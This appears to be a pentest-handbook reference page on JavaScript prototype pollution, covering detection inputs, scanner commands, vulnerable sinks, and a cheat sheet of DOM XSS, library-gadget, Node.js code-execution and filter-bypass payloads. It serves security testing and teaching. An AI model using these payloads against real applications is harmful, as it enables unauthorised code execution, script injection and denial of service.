> For the complete documentation index, see [llms.txt](https://www.pentest-book.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.pentest-book.com/enumeration/web/prototype-pollution.md).

# Prototype Pollution

Prototype pollution is a JavaScript vulnerability that allows attackers to modify the prototype of base objects, potentially leading to XSS, RCE, or DoS.

## How It Works

```javascript
// JavaScript objects inherit from Object.prototype
let obj = {};
console.log(obj.toString); // inherited from Object.prototype

// Pollution occurs when attacker controls property assignment
obj.__proto__.polluted = "yes";
// OR
obj["__proto__"]["polluted"] = "yes";
// OR
obj.constructor.prototype.polluted = "yes";

// Now ALL objects have this property
let newObj = {};
console.log(newObj.polluted); // "yes"
```

## Detection

### Manual Testing

```javascript
// Test in browser console or via URL parameters
// Check if prototype is pollutable

// Via URL query string
?__proto__[test]=polluted
?__proto__.test=polluted
?constructor[prototype][test]=polluted

// Via JSON body
{"__proto__": {"test": "polluted"}}
{"constructor": {"prototype": {"test": "polluted"}}}

// Verify pollution
Object.prototype.test === "polluted"
```

### Automated Detection

```bash
# PPScan - Prototype Pollution Scanner
# https://github.com/AhmedMohamedDev/PPScan
python3 ppscan.py -u "https://target.com/?param=value"

# Client-side prototype pollution scanner
# https://github.com/AhmedMohamedDev/ClientSidePrototypePollution
node ClientSidePrototypePollution.js -u "https://target.com"

# Burp extension - Server-Side Prototype Pollution Scanner
# https://github.com/AhmedMohamedDev/Burp-PrototypePollutionScanner

# ppmap - Prototype Pollution Exploiter
# https://github.com/AhmedMohamedDev/ppmap
ppmap -u "https://target.com"
```

## Common Sinks (Client-Side)

```javascript
// Object.assign
Object.assign({}, userInput);

// Lodash merge (before 4.17.21)
_.merge({}, userInput);
_.set({}, path, value);
_.setWith({}, path, value);

// jQuery extend
$.extend(true, {}, userInput);

// Deep merge libraries
deepmerge({}, userInput);
```

## Exploitation Payloads

### DOM XSS via Prototype Pollution

```javascript
// If application uses innerHTML with polluted properties
?__proto__[innerHTML]=<img/src/onerror=alert(1)>

// Pollute srcdoc for iframes
?__proto__[srcdoc]=<script>alert(1)</script>

// Pollute href for anchors
?__proto__[href]=javascript:alert(1)
```

### Gadgets for Common Libraries

```javascript
// jQuery < 3.4.0 (CVE-2019-11358)
$.extend(true, {}, JSON.parse('{"__proto__": {"test": "alert(1)"}}'));

// Lodash < 4.17.12 (CVE-2019-10744)
_.template('', {variable: 'x'}); // with polluted sourceURL
?__proto__[sourceURL]=\u000aAlert(1)//

// Vue.js
?__proto__[v-if]=_c.constructor('alert(1)')()

// Handlebars
?__proto__[pendingContent]=<script>alert(1)</script>

// Pug/Jade
?__proto__[block]={"type":"Text","val":"<script>alert(1)</script>"}
```

### Server-Side Prototype Pollution (Node.js)

```javascript
// RCE via child_process
{"__proto__": {"shell": "/proc/self/exe", "argv0": "console.log(require('child_process').execSync('id').toString())//"}}

// RCE via env pollution
{"__proto__": {"env": {"NODE_OPTIONS": "--require /proc/self/fd/0"}}}

// DoS via constructor pollution
{"__proto__": {"toString": "not a function"}}
```

## Bypass Techniques

```javascript
// Alternative property paths
constructor.prototype.polluted=1
__proto__.polluted=1
__proto__[polluted]=1

// Unicode encoding
\u005f\u005fproto\u005f\u005f

// Mixed case (rare)
__PROTO__

// Array pollution
[].__proto__.polluted=1
```

## Tools & Resources

```bash
# Scanning
https://github.com/AhmedMohamedDev/PPScan
https://github.com/AhmedMohamedDev/ClientSidePrototypePollution
https://github.com/AhmedMohamedDev/ppmap

# Gadget database
https://github.com/AhmedMohamedDev/client-side-prototype-pollution

# Burp Extension
https://portswigger.net/bappstore/c1d4bd60626d4178a54d36ee802cf7e8
```

## Related Topics

* [XSS](/enumeration/web/xss.md) - Prototype pollution often chains to XSS
* [Deserialization](/enumeration/web/deserialization.md) - Similar object manipulation concepts
* [SSTI](/enumeration/web/ssti.md) - Template engines can be affected


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